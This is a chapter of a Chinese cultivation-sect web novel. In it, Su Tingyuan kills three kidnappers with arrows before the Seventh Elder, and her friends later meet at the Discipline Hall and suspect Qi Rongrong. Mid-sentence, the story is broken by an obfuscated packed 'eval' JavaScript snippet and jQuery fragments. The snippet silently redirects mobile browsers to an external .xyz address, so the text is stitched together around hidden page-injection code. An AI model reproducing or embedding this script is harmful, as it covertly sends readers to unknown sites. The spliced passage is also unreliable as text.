却是只吐出了一个字,来不及将剩下的话说出口,随后双眼彻底陷入黑暗,几人喉咙发出一声嗬便彻底卧倒在地上,血流如注。
王杏杏呆呆地看着面前几人倒下,脑海一片空白,只听到耳边自己的心跳如擂鼓咚咚。
“只是入不了内门,有人命重要?”
苏听澜看着那三人倒下,低头摸了摸弓身,这是她今日刚做的弓,韧性还不错:“长老未免有些不分轻重了。”
没想到反倒被这小娃娃说教了,七长老发出一声轻笑。
他问:“这是她们命中一劫,你不也说过顺天而行?怎么,如今却反其道而行之?”
他知道她在课上说过这话,显然是已经查过她了。
“长老这话说的,顺天而行可不代表不作为啊。”苏听澜抬头看他,神色认真,“天让我听到看到,那我便是天意,既然她们命中有这一劫,再加上我有实力救,愿意救,可以救,我又凭什么不能是助她们渡劫的命数?”
“那你不怕因此惹来更多的麻烦?”七长老挑眉说道。
苏听澜弯起嘴角,呵呵一声:“怕什么,兵来将挡水来土掩嘛。”
如今的她早已不是手无缚鸡之力的普通人,自信有能力应对。
至于她为何会知晓那三人的对话和位置,以及她这一手箭术……也并不是什么大事,若是七长老打算刨根问底的话,她自有一套说辞。
七长老没有刨根问底,只是笑道:“看来你很有底气。”
假设今日七长老不在她身旁见证全程,那她的确得做的更隐秘些,麻烦嘛,能省则省。
但这位七长老偏偏来看“热闹”还要叭叭她两句,有他在场,没点底气才怪。
虽然不清楚这七长老的为人,也曾想过要上门拜访会一会,但七长老行踪不定,她也就一直没找到机会见到本尊。
如今既然他直接现身了,便值得她一赌。
若没赌错,想必七长老不会介意顺便帮她善一下后。
若是赌错了,大不了离开便是,他们若想困住她也没那么容易。
“歹人不除,后患无穷。”苏听澜垂眼对七长老浅施一礼,“晚辈问心无愧。”
……
橘黄色的灯光透过窗户照在台阶上,为清冷月色下的小院增添了几分温馨。
屋门打开,一道人影出现,挡住了门口一半的光亮。
李小叶抬头看一眼月色,神色担忧:“时候不早了,她们三人怎么还没回来?”
屋内,白绣薇和柳芷正在大通铺上打坐修炼,闻言也看向屋外。
“的确有些不寻常。”白绣薇说道。
“不对劲,平日这个时候她们早就回来了,难道……”柳芷想了想,嘶的倒吸一口凉气:“难道她们三人各自借口要办事,实则背着我们偷偷下山玩去了?”
李小叶和白绣薇顿时看向柳芷:“?”
门内对弟子比较宽容,规定除了外出游历需得报备直属师门或执事堂以外,对于弟子的出行并没有过多管束,若弟子还在学堂进修,只要能及时回到学堂上课,门内弟子皆可以自由进出宗门。
虽然门内没有什么宵禁限制,但大家不管去做什么,总会默认在子时前回到小院休憩或修炼。
李小叶还在低头沉思想着苏听澜可能拉着王杏杏和莫姝静去哪里鬼混时,忽然收到了传讯。
她取出玉简,看到传讯的内容后,面色一变。
与此同时,白绣薇和柳芷二人也收到了传讯。
不待白绣薇和柳芷拿出来看,李小叶便抬头焦急的说道:“出事了,听澜和戒律堂的管事让我们去戒律堂一趟。”
“什么?!”
……
“杏杏!姝静!你们没事吧!”柳芷提着裙摆带头第一个冲进了戒律堂。
来时路上李小叶已经简单的将事情说了一遍,莫姝静和王杏杏二人在回院子的路上不小心被绑架到了偏僻无人的山峰,险些被凶徒灭口。
幸好七长老外出回来时恰好碰见,顺手将人及时救下,将凶徒的尸体和昏迷的二人送到戒律堂后便离去了。
苏听澜修炼回来途中收到了传讯,因离得最近,便提前到了戒律堂。
莫姝静和王杏杏已经清醒了,苏听澜陪着二人坐在堂中的会客厅一侧,正捧着温热的茶水喝着。
二人脸上皆是劫后余生的苍白,相比王杏杏神色还有些惊魂未定,莫殊静则镇静一些。
李小叶和白绣薇总算追上柳芷,一面喘着气一脚踏进屋内,视线一转便立马找到了几人。
柳芷已经抓着二人上上下下检查了个遍:“有没有哪里受伤?疼吗?怕不怕?……”
原本一直在苏听澜面前强装着镇定的王杏杏,听到柳芷一连串关切的问话,眼泪再也忍不住滚落下来。
她咬着下唇摇头又点头:“我……我没事。”
李小叶打眼看去,二人除了受到了不小的惊吓外,虽然外衫沾染了不少尘土,手上也有不少擦伤,但看起来并无大碍。
她微微松了一口气,走上前抱了抱王杏杏。
白绣薇见二人无恙,后怕的拍了拍心口,她视线看向莫姝静。
莫姝静正双手捧着茶水,盯着地面怔怔出神,仿佛灵魂出窍,与世隔绝。
白绣薇心下一惊,坏了,姝静不会吓傻了吧。
她连忙用手挡住莫姝静的视线,在她面前晃了晃:“姝静,姝静你还好吗?……瞧瞧,这是什么?”
莫姝静深吸一口气,拦下白绣薇的手:“绣薇,我没事,让我静静。”
有回应就好,有回应就好,白绣薇点点头,放心的收回了手。
“所以,那些凶徒是怎么回事?”白绣薇转头看向苏听澜,问道。
苏听澜是最早到戒律堂的,想必该了解的也都了解的差不多了。
“带头的凶徒是筑基堂的弟子,另外两个是练气堂的弟子。这三人姝静和杏杏都素不相识,平日里也没有任何来往,不可能是因为姝静她们得罪了他们才会被绑。”苏听澜放下茶盏,说道。
“难不成姝静和杏杏她们不小心撞到了他们行凶,才会差点被灭口……?”柳芷咬牙猜测道。
苏听澜摇头:“姝静说他们是有预谋的,当时她下山时他们中的二人迎面上山而来,本以为是路过的,谁知是直冲她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898218|170571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来的,她来不及反抗便被捆灵绳封住了灵力,而后直接被打晕带走了。”
一前一后趁她不备夹击,双拳难敌四手,再加上她也不过练气期,从未经过真枪实战,之前学的术法都还不甚熟练,修道前还是闺中小姐,哪里能打得过。
“幸好长老路过,不然后果难以想象。”李小叶叹道。
“有预谋……是谁才会同时图谋姝静和杏杏的性命?”白绣薇联想着近些日子以来发生的事,若有所思,忽的神色一顿。
她想到了一个人。
显然其他人也想到了。
“祁容容!”柳芷怒道。
这小人真是歹毒!
还是堂堂内门弟子呢,心胸气量狭小的连绣花针的针孔都要自惭形秽。
柳芷怒气冲冲,正打算冲出去和戒律堂的管事说道说道,这时屋外有人走进来,险些迎面撞上来人,连忙收住脚步。
待看清来人是执事堂的成涯师兄后,柳芷一下收起原本对来人挡道的埋怨,转而神情欣喜的问:“成涯师兄!戒律堂诸位调查的如何了?那些凶徒的来历和背后的人已经查出结果了吗?有没有找到什么证据赃物?需要我们做什么?”
成涯笑了笑,安抚道:“诸位师妹不必担心,戒律堂的人说了,一定会彻查此事。”
虽然他是执事堂的人,但他临时受命七长老协助戒律堂调查,又事关刚入门的弟子,自然也有为她们几人传达的职责。
“柳芷你清醒点,哪里有那么快。”白绣薇无奈道。
“他们一定是祁容容指使的,我可以当证人!”柳芷举起手喊道。
成涯对柳芷认真点点头,凡事都要讲究证据,待查明真相是也不是便能知晓了。
“等到抓住人后,戒律堂诸位可一定要好好审问她!”柳芷接着说道。
就算猜到可能是她,现下无凭无据的也不能张口就来啊,白绣薇又喊了一声:“柳芷——”差不多得了。
见柳芷依旧充耳不闻滔滔不绝,白绣薇悠悠叹息一声,只好带着一脸歉意上前对成涯笑了笑,伸手就把柳芷拽走。
柳芷一面被拖走一面嘴里还在说着:“……成师兄,可千万要记住啊,幕后黑手一定是祁容容那小人,千万别放过她!”
“……一定要尽快找到那小人作恶的证据,将她捉进大牢,以免那小人再次作恶祸害到其他同门……”
“……需要证人随时都可以喊我们唔唔……”
话还没说完,剩下的话都被白绣薇一巴掌严严实实的捂进了嘴里。
成涯面上却没有任何不耐,笑呵呵施礼道:“柳师妹说的是。”
白绣薇笑了笑:“让成师兄见笑了。”
“无妨。”成涯笑眯眯道,“你们可以先回去了,此事戒律堂已上报到内门,若有需要,戒律堂随时会传唤你们,余下的你们只需要等待消息便可。”
众人施礼应是:“多谢师兄。”
“诸位受惊了,此事是戒律堂巡查有失,戒律堂会给诸位一个交代。”成涯眨眨眼示意,“七长老特地嘱咐在下盯着此事呢,放心吧。”
有七长老关注着此事,便不怕没了下文。